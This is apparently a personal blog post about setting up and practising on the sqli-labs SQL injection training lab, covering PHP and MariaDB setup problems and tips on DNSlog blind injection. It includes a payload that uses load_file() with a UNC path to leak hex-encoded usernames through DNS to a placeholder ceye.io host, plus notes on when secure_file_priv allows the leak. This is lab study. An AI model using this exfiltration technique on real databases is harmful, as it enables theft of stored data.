美文网首页
重新温习SQL注入:sqli-labs

重新温习SQL注入:sqli-labs

作者: 静析机言 | 来源:发表于2021-06-09 11:57 被阅读0次

    SQLi-Labs是一个专业的SQL注入练习平台,对SQL注入有些生疏了,近期打算拿它再练练手。

    原始github代码位置:

    https://github.com/Audi-1/sqli-labs

    一、安装问题

    安装问题1:由于此版本不兼容php7,所以php无法正常运行,需要下载适配php7的,网上有php7版本的。

    https://github.com/skyblueee/sqli-labs-php7

    安装问题2:无法在浏览器中执行php文件,出现错误“Failed to connect

    to root@localhost”。但以php -f XXX.php这种方式可以正常执行。

    原因:我的mysql版本为10.1.29-MariaDB-6,root用户的密码为空,而我把sqli-labs中的db-creds.inc中$dbpass修改为了“toor”。

    MariaDB[(none)]>SELECT user,authentication_string,plugin,host FROM mysql.user;

    使用了unix_socket插件。

    网上查了,需要修改root用户的密码,并将plugin修改为mysql_native_password

    ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'toor';

    出现错误:MariaDB [(none)]> ALTER USER'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'toor';

    ERROR 1064 (42000): You have an error in your SQLsyntax; check the manual that corresponds to your MariaDB server version forthe right syntax to use near 'USER 'root'@'localhost' IDENTIFIED WITHmysql_native_password BY 'toor'' at line 1

    MariaDB

    解决办法:ALTER USER声明是在MariaDB 10.2.0中引入的。

    由于您的DB是10.1,因此您需要使用危险的旧方法重设密码:

    updatemysql.user set authentication_string=password('toor'),plugin='mysql_native_password'where user='root';

    FLUSHPRIVILEGES;  //告诉服务器重新加载授权表并使新的更改生效

    MariaDB[(none)]>SELECT user,authentication_string,plugin,host FROM mysql.user;

    至此,可以在浏览器正常运行php了。

    二、使用sqli-labs的坑

    1. sql盲注,后端数据库用的mysql数据库,说一下用dnslog回显只能用于windows系统,原理就是'\\\\'代表Microsoft Windows通用命名约定(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。双斜杠表示网络资源路径多加两个\就是转义了反斜杠。

    Linux没有UNC路径,所以当处于Linux系统时,不能使用该方式获取数据SQL盲注、无回显的命令执行、无回显的SSRF只能用于windows系统。

    2. 通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。show variables like '%secure%';查看load_file()可以读取的磁盘。

    1)当secure_file_priv为空,就可以读取磁盘的目录。

    2)当secure_file_priv为G:\,就可以读取G盘的文件。

    3)当secure_file_priv为null,load_file就不能加载文件。

    我当初的:直接在Linux上进行测试,之后在win10上测试的时候没有使用这个函数进行查看。

    直接被自己蠢哭.... ...

    通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。

    3. 虚拟机需要设置为桥接模式,这样数据有来有回。在windows7 x64虚拟机上运行成功,安装的为phpstudy。

    4. 避免一些特殊符号的产生,最好的选择就是数据先编码再带出。

    需要注意的是dns服务器无法接收符号(除了英文字母以外的都为符号,只要字符串中包含了一个符号也必须用hex()编码),当查询的数据中存在符号时需要编码,这里用hex()编码。

    select load_file(concat('\\\\',(select hex(username) from test limit 2,1),'.xxxx.ceye.io\\aaa'));

    三、通关记录

    个人觉得下面的博主写得非常详细,我就不赘述了。

    https://blog.csdn.net/weixin_39934520/category_9792380.html

    在做题过程中整理思路,做了脑图,分享给大家。

    相关文章

      网友评论

          本文标题:重新温习SQL注入:sqli-labs

          本文链接:https://www.haomeiwen.com/subject/buceeltx.html